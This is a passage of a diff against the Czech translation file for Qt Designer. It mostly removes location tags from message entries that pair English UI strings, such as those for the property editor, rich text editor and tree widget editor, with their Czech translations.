<name>qdesigner_internal::PreviewConfigurationWidget</name>
<message>
- <location filename="../tools/designer/src/lib/shared/previewconfigurationwidget.cpp" line="+139"/>
<source>Default</source>
<translation>Výchozí</translation>
</message>
<message>
- <location line="+22"/>
<source>None</source>
<translation>Žádný</translation>
</message>
<message>
- <location line="+6"/>
<source>Browse...</source>
<translation>Procházet...</translation>
</message>
<message>
- <location line="+118"/>
<source>Load Custom Device Skin</source>
<translation>Nahrát uživatelsky stanovený vzhled zařízení</translation>
</message>
<message>
- <location line="+2"/>
<source>All QVFB Skins (*.%1)</source>
<translation>Všechny vzhledy QVFB (*.%1)</translation>
</message>
<message>
- <location line="+16"/>
<source>%1 - Duplicate Skin</source>
<translation>%1 - Zdvojit vzhled</translation>
</message>
<message>
- <location line="+1"/>
<source>The skin &apos;%1&apos; already exists.</source>
<translation>Vzhled &apos;%1&apos; již existuje.</translation>
</message>
<message>
- <location line="+14"/>
<source>%1 - Error</source>
<translation>%1 - Chyba</translation>
</message>
<message>
- <location line="+1"/>
<source>%1 is not a valid skin directory:
%2</source>
<translation>%1 není platným adresářem pro vzhled:
@@ -5855,24 +4904,20 @@ Zvolte, prosím, jiný název.</translation>
<context>
<name>qdesigner_internal::PreviewDeviceSkin</name>
<message>
- <location filename="../tools/designer/src/lib/shared/previewmanager.cpp" line="+259"/>
<source>&amp;Portrait</source>
<translation>Formát na &amp;výšku</translation>
</message>
<message>
- <location line="+2"/>
<source>Landscape (&amp;CCW)</source>
<extracomment>Rotate form preview counter-clockwise</extracomment>
<translation>Formát na šířku (&amp;proti směru otáčení hodinových ručiček)</translation>
</message>
<message>
- <location line="+2"/>
<source>&amp;Landscape (CW)</source>
<extracomment>Rotate form preview clockwise</extracomment>
<translation>Formát na šířku (po směru &amp;otáčení hodinových ručiček)</translation>
</message>
<message>
- <location line="+1"/>
<source>&amp;Close</source>
<translation>&amp;Zavřít</translation>
</message>
@@ -5880,7 +4925,6 @@ Zvolte, prosím, jiný název.</translation>
<context>
<name>qdesigner_internal::PreviewManager</name>
<message>
- <location line="+426"/>
<source>%1 - [Preview]</source>
<translation>%1 - [Náhled]</translation>
</message>
@@ -5888,7 +4932,6 @@ Zvolte, prosím, jiný název.</translation>
<context>
<name>qdesigner_internal::PreviewMdiArea</name>
<message>
- <location filename="../tools/designer/src/components/propertyeditor/previewframe.cpp" line="+72"/>
<source>The moose in the noose
ate the goose who was loose.</source>
<extracomment>Palette editor background</extracomment>
@@ -5899,57 +4942,46 @@ která byla volně puštěná.</translation>
<context>
<name>qdesigner_internal::PreviewWidget</name>
<message>
- <location filename="../tools/designer/src/components/propertyeditor/previewwidget.ui"/>
<source>Preview Window</source>
<translation>Náhledové okno</translation>
</message>
<message>
- <location/>
<source>LineEdit</source>
<translation>Úprava čáry</translation>
</message>
<message>
- <location/>
<source>ComboBox</source>
<translation>Skupinová krabice</translation>
</message>
<message>
- <location/>
<source>PushButton</source>
<translation>Tlačítko na postrčení</translation>
</message>
<message>
- <location/>
<source>ButtonGroup2</source>
<translation>Skupina tlačítek 2</translation>
</message>
<message>
- <location/>
<source>CheckBox1</source>
<translation>Zaškrtnutelné políčko 1</translation>
</message>
<message>
- <location/>
<source>CheckBox2</source>
<translation>Zaškrtnutelné políčko 2</translation>
</message>
<message>
- <location/>
<source>ButtonGroup</source>
<translation>Skupina tlačítek</translation>
</message>
<message>
- <location/>
<source>RadioButton1</source>
<translation>Rozhlasové tlačítko 1</translation>
</message>
<message>
- <location/>
<source>RadioButton2</source>
<translation>Rozhlasové tlačítko 2</translation>
</message>
<message>
- <location/>
<source>RadioButton3</source>
<translation>Rozhlasové tlačítko 3</translation>
</message>
@@ -5957,22 +4989,18 @@ která byla volně puštěná.</translation>
<context>
<name>qdesigner_internal::PromotionModel</name>
<message>
- <location filename="../tools/designer/src/lib/shared/promotionmodel.cpp" line="+17"/>
<source>Name</source>
<translation>Název</translation>
</message>
<message>
- <location line="+1"/>
<source>Header file</source>
<translation>Hlavičkový soubor</translation>
</message>
<message>
- <location line="+1"/>
<source>Global include</source>
<translation>Celkový hlavičkový soubor</translation>
</message>
<message>
- <location line="+1"/>
<source>Usage</source>
<translation>Použití</translation>
</message>
@@ -5980,27 +5008,22 @@ která byla volně puštěná.</translation>
<context>
<name>qdesigner_internal::PromotionTaskMenu</name>
<message>
- <location filename="../tools/designer/src/lib/shared/promotiontaskmenu.cpp" line="+85"/>
<source>Promoted widgets...</source>
<translation>Uživatelsky stanovené prvky...</translation>
</message>
<message>
- <location line="+1"/>
<source>Promote to ...</source>
<translation>Stanovit jako zástupný symbol pro uživatelsky stanovenou třídu...</translation>
</message>
<message>
- <location line="+2"/>
<source>Promote to</source>
<translation>Stanovit jako zástupný symbol pro uživatelsky stanovenou třídu</translation>
</message>
<message>
- <location line="+1"/>
<source>Demote to %1</source>
<translation>Odstranit zástupný symbol pro uživatelsky stanovenou třídu a přeměnit na %1</translation>
</message>
<message>
- <location line="-2"/>
<source>Change signals/slots...</source>
<translation>Změnit signály/zdířky...</translation>
</message>
@@ -6008,59 +5031,48 @@ která byla volně puštěná.</translation>
<context>
<name>qdesigner_internal::PropertyEditor</name>
<message>
- <location filename="../tools/designer/src/components/propertyeditor/propertyeditor.cpp" line="+183"/>
<source>Add Dynamic Property...</source>
<translation>Přidat dynamickou vlastnost...</translation>
</message>
<message>
- <location line="+1"/>
<source>Remove Dynamic Property</source>
<translation>Odstranit dynamickou vlastnost</translation>
</message>
<message>
- <location line="+3"/>
<source>Tree View</source>
<translation>Stromový pohled</translation>
</message>
<message>
- <location line="+1"/>
<source>Drop Down Button View</source>
<translation>Podrobný pohled</translation>
</message>
<message>
- <location line="+597"/>
<source>Object: %1
Class: %2</source>
<translation>Předmět: %1
Třída: %2</translation>
</message>
<message>
- <location line="-600"/>
<source>Sorting</source>
<translation>Třídění</translation>
</message>
<message>
- <location line="+1"/>
<source>Color Groups</source>
<translation>Barevné zdůraznění</translation>
</message>
<message>
- <location line="+66"/>
<source>Configure Property Editor</source>
<translation>Nastavit editor vlastností</translation>
</message>
<message>
- <location line="-14"/>
<source>String...</source>
<translation>Řetězec znaků...</translation>
</message>
<message>
- <location line="+3"/>
<source>Bool...</source>
<translation>Booleánská hodnota...</translation>
</message>
<message>
- <location line="+4"/>
<source>Other...</source>
<translation>Jiný typ...</translation>
</message>
@@ -6068,7 +5080,6 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::PropertyLineEdit</name>
<message>
- <location filename="../tools/designer/src/lib/shared/propertylineedit.cpp" line="+88"/>
<source>Insert line break</source>
<translation>Vložit zalomení řádku</translation>
</message>
@@ -6076,27 +5087,22 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::QDesignerPromotionDialog</name>
<message>
- <location filename="../tools/designer/src/lib/shared/qdesigner_promotiondialog.cpp" line="+85"/>
<source>Promoted Widgets</source>
<translation>Zástupný symbol pro uživatelsky stanovené prvky</translation>
</message>
<message>
- <location line="+7"/>
<source>Promoted Classes</source>
<translation>Zástupný symbol pro uživatelsky stanovené třídy</translation>
</message>
<message>
- <location line="+60"/>
<source>Promote</source>
<translation>Používat</translation>
</message>
<message>
- <location line="+169"/>
<source>%1 - Error</source>
<translation>%1 - Chyba</translation>
</message>
<message>
- <location line="-17"/>
<source>Change signals/slots...</source>
<translation>Změnit signály/zdířky...</translation>
</message>
@@ -6104,22 +5110,18 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::QDesignerResource</name>
<message>
- <location filename="../tools/designer/src/components/formeditor/qdesigner_resource.cpp" line="+277"/>
<source>Loading qrc file</source>
<translation>Nahrává se zdrojový soubor</translation>
</message>
<message>
- <location line="+1"/>
<source>The specified qrc file &lt;p&gt;&lt;b&gt;%1&lt;/b&gt;&lt;/p&gt;&lt;p&gt;could not be found. Do you want to update the file location?&lt;/p&gt;</source>
<translation>Zadaný zdrojový soubor &lt;p&gt;&lt;b&gt;%1&lt;/b&gt;&lt;/p&gt;&lt;p&gt; se nepodařilo najít. Chcete zadat novou cestu k umístění souboru?&lt;/p&gt;</translation>
</message>
<message>
- <location line="+6"/>
<source>New location for %1</source>
<translation>Nové umístění %1</translation>
</message>
<message>
- <location line="+1"/>
<source>Resource files (*.qrc)</source>
<translation>Zdrojové soubory (*.qrc)</translation>
</message>
@@ -6127,67 +5129,54 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::QDesignerTaskMenu</name>
<message>
- <location filename="../tools/designer/src/lib/shared/qdesigner_taskmenu.cpp" line="+68"/>
<source>Change objectName...</source>
<translation>Změnit název předmětu...</translation>
</message>
<message>
- <location line="+1"/>
<source>Change toolTip...</source>
<translation>Změnit radu k nástroji...</translation>
</message>
<message>
- <location line="+1"/>
<source>Change whatsThis...</source>
<translation>Změnit &quot;A co je toto&quot;...</translation>
</message>
<message>
- <location line="+1"/>
<source>Change styleSheet...</source>
<translation>Změnit předlohový list...</translation>
</message>
<message>
- <location line="+3"/>
<source>Create Menu Bar</source>
<translation>Vytvořit nabídkový pruh</translation>
</message>
<message>
- <location line="+1"/>
<source>Add Tool Bar</source>
<translation>Přidat nástrojový pruh</translation>
</message>
<message>
- <location line="+1"/>
<source>Create Status Bar</source>
<translation>Vytvořit stavový pruh</translation>
</message>
<message>
- <location line="+1"/>
<source>Remove Status Bar</source>
<translation>Odstranit stavový pruh</translation>
</message>
<message>
- <location line="+1"/>
<source>Change script...</source>
<translation>Změnit skript...</translation>
</message>
<message>
- <location line="+1"/>
<source>Change signals/slots...</source>
<translation>Změnit signály/zdířky...</translation>
</message>
<message>
- <location line="+1"/>
<source>Go to slot...</source>
<translation>Jít na zdířku...</translation>
</message>
<message>
- <location line="+413"/>
<source>no signals available</source>
<translation>Nejsou dostupné žádné signály</translation>
</message>
<message numerus="yes">
- <location line="+67"/>
<source>Set size constraint on %n widget(s)</source>
<translation>
<numerusform>Nastavit omezení velikosti u jednoho prvku</numerusform>
@@ -6196,47 +5185,38 @@ Třída: %2</translation>
</translation>
</message>
<message>
- <location line="-477"/>
<source>Size Constraints</source>
<translation>Omezení velikosti</translation>
</message>
<message>
- <location line="+4"/>
<source>Set Minimum Width</source>
<translation>Nastavit nejmenší šířku</translation>
</message>
<message>
- <location line="+4"/>
<source>Set Minimum Height</source>
<translation>Nastavit nejmenší výšku</translation>
</message>
<message>
- <location line="+4"/>
<source>Set Minimum Size</source>
<translation>Nastavit nejmenší velikost</translation>
</message>
<message>
- <location line="+6"/>
<source>Set Maximum Width</source>
<translation>Nastavit největší šířku</translation>
</message>
<message>
- <location line="+4"/>
<source>Set Maximum Height</source>
<translation>Nastavit největší výšku</translation>
</message>
<message>
- <location line="+4"/>
<source>Set Maximum Size</source>
<translation>Nastavit největší velikost</translation>
</message>
<message>
- <location line="+235"/>
<source>Edit ToolTip</source>
<translation>Upravit radu k nástroji</translation>
</message>
<message>
- <location line="+5"/>
<source>Edit WhatsThis</source>
<translation>Upravit &quot;A co je toto&quot;</translation>
</message>
@@ -6244,42 +5224,34 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::QDesignerWidgetBox</name>
<message>
- <location filename="../tools/designer/src/lib/shared/qdesigner_widgetbox.cpp" line="+123"/>
- <location line="+13"/>
<source>Unexpected element &lt;%1&gt;</source>
<translation>Neplatný prvek &lt;%1&gt;</translation>
</message>
<message>
- <location line="+7"/>
<source>A parse error occurred at line %1, column %2 of the XML code specified for the widget %3: %4
%5</source>
<translation>Kód XML pro prvek %3 obsahuje chybu na řádku %1, sloupec %2:%4:
%5</translation>
</message>
<message>
- <location line="+9"/>
<source>The XML code specified for the widget %1 does not contain any widget elements.
%2</source>
<translation>Kód XML pro prvek %1 neobsahuje prvky.
%2</translation>
</message>
<message>
- <location filename="../tools/designer/src/components/widgetbox/widgetboxtreewidget.cpp" line="+349"/>
<source>An error has been encountered at line %1 of %2: %3</source>
<translation>Chyba na řádku %1 z %2: %3</translation>
</message>
<message>
- <location line="+139"/>
<source>Unexpected element &lt;%1&gt; encountered when parsing for &lt;widget&gt; or &lt;ui&gt;</source>
<translation>Na místě očekávaného &lt;prvek&gt;- nebo prvku &lt;ui&gt; byl nalezen &lt;%1&gt;</translation>
</message>
<message>
- <location line="+19"/>
<source>Unexpected end of file encountered when parsing widgets.</source>
<translation>Při čtení nastavení krabice s prvky se vyskytl předčasný konec souboru.</translation>
</message>
<message>
- <location line="+9"/>
<source>A widget element could not be found.</source>
<translation>Nepodařilo se najít prvek.</translation>
</message>
@@ -6287,73 +5259,58 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::QtGradientStopsController</name>
<message>
- <location filename="../tools/shared/qtgradienteditor/qtgradientstopscontroller.cpp" line="+173"/>
<source>H</source>
<translation>H</translation>
</message>
<message>
- <location line="+1"/>
<source>S</source>
<translation>S</translation>
</message>
<message>
- <location line="+1"/>
<source>V</source>
<translation>V</translation>
</message>
<message>
- <location line="+6"/>
- <location line="+4"/>
<source>Hue</source>
<translation>Barevný odstín</translation>
</message>
<message>
- <location line="-3"/>
<source>Sat</source>
<translation>Sytost</translation>
</message>
<message>
- <location line="+1"/>
<source>Val</source>
<translation>Hodnota</translation>
</message>
<message>
- <location line="+3"/>
<source>Saturation</source>
<translation>Sytost</translation>
</message>
<message>
- <location line="+1"/>
<source>Value</source>
<translation>Hodnota</translation>
</message>
<message>
- <location line="+22"/>
<source>R</source>
<translation>R</translation>
</message>
<message>
- <location line="+1"/>
<source>G</source>
<translation>G</translation>
</message>
<message>
- <location line="+1"/>
<source>B</source>
<translation>B</translation>
</message>
<message>
- <location line="+6"/>
<source>Red</source>
<translation>Červená</translation>
</message>
<message>
- <location line="+1"/>
<source>Green</source>
<translation>Zelená</translation>
</message>
<message>
- <location line="+1"/>
<source>Blue</source>
<translation>Modrá</translation>
</message>
@@ -6361,27 +5318,22 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::RichTextEditorDialog</name>
<message>
- <location filename="../tools/designer/src/lib/shared/richtexteditor.cpp" line="+436"/>
<source>Edit text</source>
<translation>Upravit text</translation>
</message>
<message>
- <location line="+30"/>
<source>&amp;OK</source>
<translation>&amp;OK</translation>
</message>
<message>
- <location line="+2"/>
<source>&amp;Cancel</source>
<translation>&amp;Zrušit</translation>
</message>
<message>
- <location line="-9"/>
<source>Rich Text</source>
<translation>Upravovatelný text</translation>
</message>
<message>
- <location line="+1"/>
<source>Source</source>
<translation>Zdroj</translation>
</message>
@@ -6389,72 +5341,58 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::RichTextEditorToolBar</name>
<message>
- <location line="-294"/>
<source>Bold</source>
<translation>Tučné</translation>
</message>
<message>
- <location line="+1"/>
<source>CTRL+B</source>
<translation>CTRL+F</translation>
</message>
<message>
- <location line="+5"/>
<source>Italic</source>
<translation>Kurzíva</translation>
</message>
<message>
- <location line="+1"/>
<source>CTRL+I</source>
<translation>CTRL+K</translation>
</message>
<message>
- <location line="+5"/>
<source>Underline</source>
<translation>Podtržení</translation>
</message>
<message>
- <location line="+1"/>
<source>CTRL+U</source>
<translation>CTRL+U</translation>
</message>
<message>
- <location line="+13"/>
<source>Left Align</source>
<translation>Zarovnat k levému okraji</translation>
</message>
<message>
- <location line="+5"/>
<source>Center</source>
<translation>Zarovnat na střed</translation>
</message>
<message>
- <location line="+5"/>
<source>Right Align</source>
<translation>Zarovnat k pravému okraji</translation>
</message>
<message>
- <location line="+5"/>
<source>Justify</source>
<translation>Zarovnat do bloku</translation>
</message>
<message>
- <location line="+9"/>
<source>Superscript</source>
<translation>Horní index</translation>
</message>
<message>
- <location line="+6"/>
<source>Subscript</source>
<translation>Dolní index</translation>
</message>
<message>
- <location line="+9"/>
<source>Insert &amp;Link</source>
<translation>Vložit &amp;odkaz</translation>
</message>
<message>
- <location line="+5"/>
<source>Insert &amp;Image</source>
<translation>Vložit &amp;obrázek</translation>
</message>
@@ -6462,17 +5400,14 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::ScriptDialog</name>
<message>
- <location filename="../tools/designer/src/lib/shared/scriptdialog.cpp" line="+66"/>
<source>Edit script</source>
<translation>Upravit skript</translation>
</message>
<message>
- <location line="+56"/>
<source>Syntax error</source>
<translation>Chyba ve skladbě</translation>
</message>
<message>
- <location line="-51"/>
<source>&lt;html&gt;Enter a Qt Script snippet to be executed while loading the form.&lt;br&gt;The widget and its children are accessible via the variables &lt;i&gt;widget&lt;/i&gt; and &lt;i&gt;childWidgets&lt;/i&gt;, respectively.</source>
<translation>&lt;html&gt;Zadejte kousek Qt skriptu k provedení v průběhu nahrávání formuláře.&lt;br&gt;Prvek a jemu podřízené prvky jsou přístupné prostřednictvím proměnných &lt;i&gt;widget&lt;/i&gt; und &lt;i&gt;childWidgets&lt;/i&gt;.</translation>
</message>
@@ -6480,7 +5415,6 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::ScriptErrorDialog</name>
<message>
- <location filename="../tools/designer/src/lib/shared/scripterrordialog.cpp" line="+27"/>
<source>Script errors</source>
<translation>Chyby ve skriptu</translation>
</message>
@@ -6488,23 +5422,18 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::SignalSlotDialog</name>
<message>
- <location filename="../tools/designer/src/lib/shared/signalslotdialog.cpp" line="+199"/>
<source>There is already a slot with the signature &apos;%1&apos;.</source>
<translation>Již existuje zdířka s podpisem &apos;%1&apos;.</translation>
</message>
<message>
- <location line="+5"/>
<source>There is already a signal with the signature &apos;%1&apos;.</source>
<translation>Již existuje signál s podpisem &apos;%1&apos;.</translation>
</message>
<message>
- <location line="+7"/>
<source>%1 - Duplicate Signature</source>
<translation>%1 - Podpis již existuje</translation>
</message>
<message>
- <location line="+21"/>
- <location line="+76"/>
<source>Signals/Slots of %1</source>
<translation>Signály/Zdířky od %1</translation>
</message>
@@ -6512,12 +5441,10 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::SignalSlotEditorPlugin</name>
<message>
- <location filename="../tools/designer/src/components/signalsloteditor/signalsloteditor_plugin.cpp" line="+72"/>
<source>Edit Signals/Slots</source>
<translation>Upravit signály/zdířky</translation>
</message>
<message>
- <location line="+2"/>
<source>F4</source>
<translation>F4</translation>
</message>
@@ -6525,7 +5452,6 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::SignalSlotEditorTool</name>
<message>
- <location filename="../tools/designer/src/components/signalsloteditor/signalsloteditor_tool.cpp" line="+58"/>
<source>Edit Signals/Slots</source>
<translation>Upravit signály/zdířky</translation>
</message>
@@ -6533,7 +5459,6 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::StatusBarTaskMenu</name>
<message>
- <location filename="../tools/designer/src/components/taskmenu/toolbar_taskmenu.cpp" line="+81"/>
<source>Remove</source>
<translation>Odstranit</translation>
</message>
@@ -6541,7 +5466,6 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::StringListEditorButton</name>
<message>
- <location filename="../tools/designer/src/components/propertyeditor/stringlisteditorbutton.cpp" line="+56"/>
<source>Change String List</source>
<translation>Změnit seznamy s řetězci znaků</translation>
</message>
@@ -6549,38 +5473,30 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::StyleSheetEditorDialog</name>
<message>
- <location filename="../tools/designer/src/lib/shared/stylesheeteditor.cpp" line="+97"/>
<source>Edit Style Sheet</source>
<translation>Upravit předlohový list</translation>
</message>
<message>
- <location line="-7"/>
- <location line="+280"/>
<source>Valid Style Sheet</source>
<translation>Platný předlohový list</translation>
</message>
<message>
- <location line="+3"/>
<source>Invalid Style Sheet</source>
<translation>Neplatný předlohový list</translation>
</message>
<message>
- <location line="-281"/>
<source>Add Resource...</source>
<translation>Přidat zdroj...</translation>
</message>
<message>
- <location line="+1"/>
<source>Add Gradient...</source>
<translation>Přidat přechod...</translation>
</message>
<message>
- <location line="+1"/>
<source>Add Color...</source>
<translation>Přidat barvu...</translation>
</message>
<message>
- <location line="+1"/>
<source>Add Font...</source>
<translation>Přidat písmo...</translation>
</message>
@@ -6588,27 +5504,22 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::TabOrderEditor</name>
<message>
- <location filename="../tools/designer/src/components/tabordereditor/tabordereditor.cpp" line="+363"/>
<source>Start from Here</source>
<translation>Začít znovu odtud</translation>
</message>
<message>
- <location line="+3"/>
<source>Restart</source>
<translation>Začít znovu</translation>
</message>
<message>
- <location line="+2"/>
<source>Tab Order List...</source>
<translation>Seznam s pořadím tabulátorů...</translation>
</message>
<message>
- <location line="+44"/>
<source>Tab Order List</source>
<translation>Seznam s pořadím tabulátorů</translation>
</message>
<message>
- <location line="+1"/>
<source>Tab Order</source>
<translation>Pořadí tabulátorů</translation>
</message>
@@ -6616,7 +5527,6 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::TabOrderEditorPlugin</name>
<message>
- <location filename="../tools/designer/src/components/tabordereditor/tabordereditor_plugin.cpp" line="+73"/>
<source>Edit Tab Order</source>
<translation>Upravit pořadí tabulátorů</translation>
</message>
@@ -6624,7 +5534,6 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::TabOrderEditorTool</name>
<message>
- <location filename="../tools/designer/src/components/tabordereditor/tabordereditor_tool.cpp" line="+57"/>
<source>Edit Tab Order</source>
<translation>Upravit pořadí tabulátorů</translation>
</message>
@@ -6632,48 +5541,38 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::TableWidgetEditor</name>
<message>
- <location filename="../tools/designer/src/components/taskmenu/tablewidgeteditor.cpp" line="+67"/>
<source>New Column</source>
<translation>Nový sloupec</translation>
</message>
<message>
- <location line="+3"/>
<source>New Row</source>
<translation>Nový řádek</translation>
</message>
<message>
- <location line="+8"/>
<source>&amp;Columns</source>
<translation>&amp;Sloupce</translation>
</message>
<message>
- <location line="+1"/>
<source>&amp;Rows</source>
<translation>&amp;Řádky</translation>
</message>
<message>
- <location line="+137"/>
<source>Properties &amp;&lt;&lt;</source>
<translation>Vlastnosti &amp;&lt;&lt;</translation>
</message>
<message>
- <location filename="../tools/designer/src/components/taskmenu/tablewidgeteditor.ui"/>
- <location filename="../tools/designer/src/components/taskmenu/tablewidgeteditor.cpp" line="+2"/>
<source>Properties &amp;&gt;&gt;</source>
<translation>Vlastnosti &amp;&gt;&gt;</translation>
</message>
<message>
- <location/>
<source>Edit Table Widget</source>
<translation>Upravit prvek s tabulkou</translation>
</message>
<message>
- <location/>
<source>&amp;Items</source>
<translation>&amp;Prvky</translation>
</message>
<message>
- <location/>
<source>Table Items</source>
<translation>Prvky tabulek</translation>
</message>
@@ -6681,7 +5580,6 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::TableWidgetTaskMenu</name>
<message>
- <location filename="../tools/designer/src/components/taskmenu/tablewidget_taskmenu.cpp" line="+64"/>
<source>Edit Items...</source>
<translation>Upravit prvky...</translation>
</message>
@@ -6689,22 +5587,18 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::TemplateOptionsWidget</name>
<message>
- <location filename="../tools/designer/src/components/formeditor/templateoptionspage.cpp" line="-18"/>
<source>Pick a directory to save templates in</source>
<translation>Vyberte adresář pro ukládání předloh</translation>
</message>
<message>
- <location filename="../tools/designer/src/components/formeditor/templateoptionspage.ui"/>
<source>Form</source>
<translation>Formulář</translation>
</message>
<message>
- <location/>
<source>Additional Template Paths</source>
<translation>Dodatečné adresáře pro předlohy</translation>
</message>
<message>
- <location/>
<source>...</source>
<translation>...</translation>
</message>
@@ -6712,22 +5606,18 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::TextEditTaskMenu</name>
<message>
- <location filename="../tools/designer/src/components/taskmenu/textedit_taskmenu.cpp" line="+59"/>
<source>Change HTML...</source>
<translation>Změnit HTML...</translation>
</message>
<message>
- <location line="-1"/>
<source>Edit HTML</source>
<translation>Upravit HTML</translation>
</message>
<message>
- <location line="+10"/>
<source>Edit Text</source>
<translation>Upravit text</translation>
</message>
<message>
- <location line="+1"/>
<source>Change Plain Text...</source>
<translation>Změnit prostý text...</translation>
</message>
@@ -6735,22 +5625,18 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::TextEditor</name>
<message>
- <location filename="../tools/designer/src/components/propertyeditor/designerpropertymanager.cpp" line="-204"/>
<source>Choose Resource...</source>
<translation>Vybrat zdroj...</translation>
</message>
<message>
- <location line="+1"/>
<source>Choose File...</source>
<translation>Vybrat soubor...</translation>
</message>
<message>
- <location line="+123"/>
<source>Choose a File</source>
<translation>Vybrat soubor</translation>
</message>
<message>
- <location line="-118"/>
<source>...</source>
<translation>...</translation>
</message>
@@ -6758,27 +5644,22 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::ToolBarEventFilter</name>
<message>
- <location filename="../tools/designer/src/lib/shared/qdesigner_toolbar.cpp" line="+234"/>
<source>Insert Separator</source>
<translation>Vložit oddělovač</translation>
</message>
<message>
- <location line="-65"/>
<source>Remove action &apos;%1&apos;</source>
<translation>Odstranit činnost &apos;%1&apos;</translation>
</message>
<message>
- <location line="+7"/>
<source>Remove Toolbar &apos;%1&apos;</source>
<translation>Odstranit nástrojový pruh &apos;%1&apos;</translation>
</message>
<message>
- <location line="-28"/>
<source>Insert Separator before &apos;%1&apos;</source>
<translation>Vložit oddělovač před &apos;%1&apos;</translation>
</message>
<message>
- <location line="+9"/>
<source>Append Separator</source>
<translation>Připojit oddělovač</translation>
</message>
@@ -6786,125 +5667,98 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::TreeWidgetEditor</name>
<message>
- <location filename="../tools/designer/src/components/taskmenu/treewidgeteditor.cpp" line="+76"/>
<source>&amp;Columns</source>
<translation>&amp;Sloupce</translation>
</message>
<message>
- <location line="+69"/>
<source>Per column properties</source>
<translation>Vlastnosti sloupců</translation>
</message>
<message>
- <location line="+1"/>
<source>Common properties</source>
<translation>Společné vlastnosti</translation>
</message>
<message>
- <location filename="../tools/designer/src/components/taskmenu/treewidgeteditor.ui"/>
- <location filename="../tools/designer/src/components/taskmenu/treewidgeteditor.cpp" line="+53"/>
<source>New Item</source>
<translation>Nový prvek</translation>
</message>
<message>
- <location filename="../tools/designer/src/components/taskmenu/treewidgeteditor.cpp" line="+194"/>
<source>Properties &amp;&lt;&lt;</source>
<translation>Vlastnosti &amp;&lt;&lt;</translation>
</message>
<message>
- <location filename="../tools/designer/src/components/taskmenu/treewidgeteditor.ui"/>
- <location filename="../tools/designer/src/components/taskmenu/treewidgeteditor.cpp" line="+2"/>
<source>Properties &amp;&gt;&gt;</source>
<translation>Vlastnosti &amp;&gt;&gt;</translation>
</message>
<message>
- <location filename="../tools/designer/src/components/taskmenu/treewidgeteditor.cpp" line="-327"/>
<source>New Column</source>
<translation>Nový sloupec</translation>
</message>
<message>
- <location filename="../tools/designer/src/components/taskmenu/treewidgeteditor.ui"/>
<source>Edit Tree Widget</source>
<translation>Upravit stromový prvek</translation>
</message>
<message>
- <location/>
<source>&amp;Items</source>
<translation>&amp;Prvky</translation>
</message>
<message>
- <location/>
<source>Tree Items</source>
<translation>Stromové prvky</translation>
</message>
<message>
- <location/>
- <location filename="../tools/designer/src/components/taskmenu/treewidgeteditor.cpp" line="+150"/>
<source>New Subitem</source>
<translation>Nový podřízený prvek</translation>
</message>
<message>
- <location/>
<source>New &amp;Subitem</source>
<translation>Nový po&amp;dřízený prvek</translation>
</message>
<message>
- <location/>
<source>Delete Item</source>
<translation>Smazat prvek</translation>
</message>
<message>
- <location/>
<source>Move Item Left (before Parent Item)</source>
<translation>Posunout prvek doleva (před nadřízený prvek)</translation>
</message>
<message>
- <location/>
<source>L</source>
<translation>L</translation>
</message>
<message>
- <location/>
<source>Move Item Right (as a First Subitem of the Next Sibling Item)</source>
<translation>Posunout prvek doprava (jako první podřízený prvek dalšího rovnocenného prvku)</translation>
</message>
<message>
- <location/>
<source>R</source>
<translation>R</translation>
</message>
<message>
- <location/>
<source>Move Item Up</source>
<translation>Posunout prvek nahoru</translation>
</message>
<message>
- <location/>
<source>U</source>
<translation>U</translation>
</message>
<message>
- <location/>
<source>Move Item Down</source>
<translation>Posunout prvek dolů</translation>
</message>
<message>
- <location/>
<source>D</source>
<translation>D</translation>
</message>
<message>
- <location/>
<source>1</source>
<translation>1</translation>
</message>
<message>
- <location/>
<source>&amp;New</source>
<translation>&amp;Nový</translation>
</message>
<message>
- <location/>
<source>&amp;Delete</source>
<translation>&amp;Smazat</translation>
</message>
@@ -6912,7 +5766,6 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::TreeWidgetTaskMenu</name>
<message>
- <location filename="../tools/designer/src/components/taskmenu/treewidget_taskmenu.cpp" line="+63"/>
<source>Edit Items...</source>
<translation>Upravit prvky...</translation>
</message>
@@ -6920,7 +5773,6 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::WidgetBox</name>
<message>
- <location filename="../tools/designer/src/components/widgetbox/widgetbox_dnditem.cpp" line="+115"/>
<source>Warning: Widget creation failed in the widget box. This could be caused by invalid custom widget XML.</source>
<translation>Upozornění: Vytvoření prvku v krabici s prvky se nezdařilo. Mohlo by to být zapříčiněno chybným XML kódem uživatelsky stanoveného prvku.</translation>
</message>
@@ -6928,42 +5780,34 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::WidgetBoxTreeWidget</name>
<message>
- <location filename="../tools/designer/src/components/widgetbox/widgetboxtreewidget.cpp" line="-268"/>
<source>Scratchpad</source>
<translation>Skladování</translation>
</message>
<message>
- <location line="+370"/>
<source>Custom Widgets</source>
<translation>Uživatelsky stanovené prvky</translation>
</message>
<message>
- <location line="+263"/>
<source>Expand all</source>
<translation>Rozdělat vše</translation>
</message>
<message>
- <location line="+1"/>
<source>Collapse all</source>
<translation>Složit vše</translation>
</message>
<message>
- <location line="+3"/>
<source>List View</source>
<translation>Pohled se seznamem</translation>
</message>
<message>
